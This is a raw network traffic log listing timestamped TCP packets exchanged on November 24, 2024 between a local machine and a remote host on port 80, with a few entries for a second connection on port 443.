Nov 24, 2024 23:24:37.717700958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.717705011 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.717744112 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.718631029 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.718682051 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.718714952 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.718765020 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.719504118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.719585896 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.719604015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.719651937 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.720340014 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.720417023 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.720447063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.720470905 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.721230030 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.721276045 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.721330881 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.721386909 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.722054005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.722110033 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.722203970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.722260952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.722942114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.723053932 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.723150015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.723824024 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.723887920 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.723942041 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.723995924 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.724701881 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.724765062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.725079060 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.725152969 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.725572109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.725673914 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.725732088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.725783110 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.726530075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.726578951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.726617098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.726663113 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.727339983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.727401972 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.727435112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.727511883 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.728209019 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.728256941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.728293896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.728406906 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.729083061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.729137897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.729176044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.729307890 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.729969025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.730029106 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.730072975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.730132103 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.730890989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.730952024 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.730962992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.731002092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.731739044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.731828928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.731880903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.732616901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.732676029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.732711077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.732752085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.733597040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.733700037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.733761072 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.734384060 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.734436035 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.734471083 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.734522104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.735299110 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.735362053 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.735419035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.735479116 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.736202955 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.736277103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.736407042 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.737056017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.737107992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.737210989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.737257004 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.737894058 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.737943888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.737971067 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.738019943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.738794088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.738878965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.738959074 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.739658117 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.739708900 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.739748001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.739793062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.740540028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.740602016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.740678072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.740724087 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.741434097 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.741560936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.742193937 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.742325068 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.742384911 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.742417097 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.742464066 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.743172884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.743220091 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.743331909 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.743376017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.840730906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.840744019 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.840796947 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.840976000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.841033936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.841085911 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.841829062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.841927052 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.842273951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.842732906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.842794895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.843051910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.843111992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.901859999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.901953936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.901958942 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.902046919 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.902236938 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.902343988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.902398109 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.903127909 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.903192043 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.903203011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.903343916 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.904030085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.904099941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.904159069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.904218912 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.904891014 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.904961109 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.904987097 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.905133009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.905814886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.905874968 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.906443119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.906613111 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.906666994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.906738997 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.906783104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.907527924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.907628059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.907672882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.908411980 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.908461094 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.908535957 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.908575058 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.909310102 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.909398079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.909432888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.909471035 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.910195112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.910259008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.910291910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.910438061 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.911071062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.911114931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.911190033 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.911247969 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.911968946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.912081957 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.912101984 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.912183046 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.912811041 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.912868023 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.912906885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.913177013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.913840055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.913897991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.913979053 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.914025068 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.914586067 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.914772987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.914815903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.915522099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.915586948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.915659904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.915827036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.916404963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.916512012 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.916546106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.916850090 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.917254925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.917306900 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.917371988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.917574883 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.917642117 CET	49795	443	192.168.2.5	18.165.220.57
Nov 24, 2024 23:24:37.918123007 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.918216944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.918241978 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.918256044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.918984890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.919025898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.919048071 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.919092894 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.919857025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.919964075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.920062065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.920062065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.920754910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.920876026 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.920945883 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.921647072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.921758890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.921819925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.922544003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.922610998 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.922674894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.922724962 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.923398972 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.923445940 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.923477888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.923518896 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.924295902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.924362898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.924463034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.924499035 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.925216913 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.925283909 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.925328970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.925369978 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.926091909 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.926142931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.926224947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.926278114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.927301884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.927397013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.927432060 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.927479029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.927826881 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.927930117 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.927984953 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.928699017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.928764105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.928823948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.928864956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.929594994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.929651022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.929707050 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.930439949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.930491924 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.930516958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.930596113 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.931375027 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.931435108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.931497097 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.931536913 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.932238102 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.932291985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.932434082 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.932760000 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.933198929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.933247089 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.933271885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.933358908 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.933969021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.934024096 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.934030056 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.934075117 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.934863091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.934917927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.934947968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.935151100 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.935730934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.935791016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.935823917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.935980082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.936602116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.936686039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.936702013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.936742067 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.937503099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.937572956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.937602997 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.937702894 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.938374043 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.938422918 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.938503981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.938610077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.939249992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.939342022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.939441919 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.939503908 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.940126896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.940176010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.940228939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.940279007 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.941021919 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.941123962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.941179991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.941899061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.941984892 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.941999912 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.942051888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.942775011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.942872047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.942929029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.943650007 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.943710089 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.943758965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.943842888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.944535971 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.944591045 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.944593906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.944663048 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.959338903 CET	443	49795	18.165.220.57	192.168.2.5
Nov 24, 2024 23:24:38.042243958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.042309999 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.042365074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.042615891 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.042673111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.042722940 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.042753935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.042820930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.043589115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.043637037 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.043684006 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.043734074 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.044411898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.044552088 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.112977028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.113053083 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.113130093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.113260984 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.113414049 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.113473892 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.113486052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.113547087 CET	49760	80	192.168.2.5	185.215.113.206
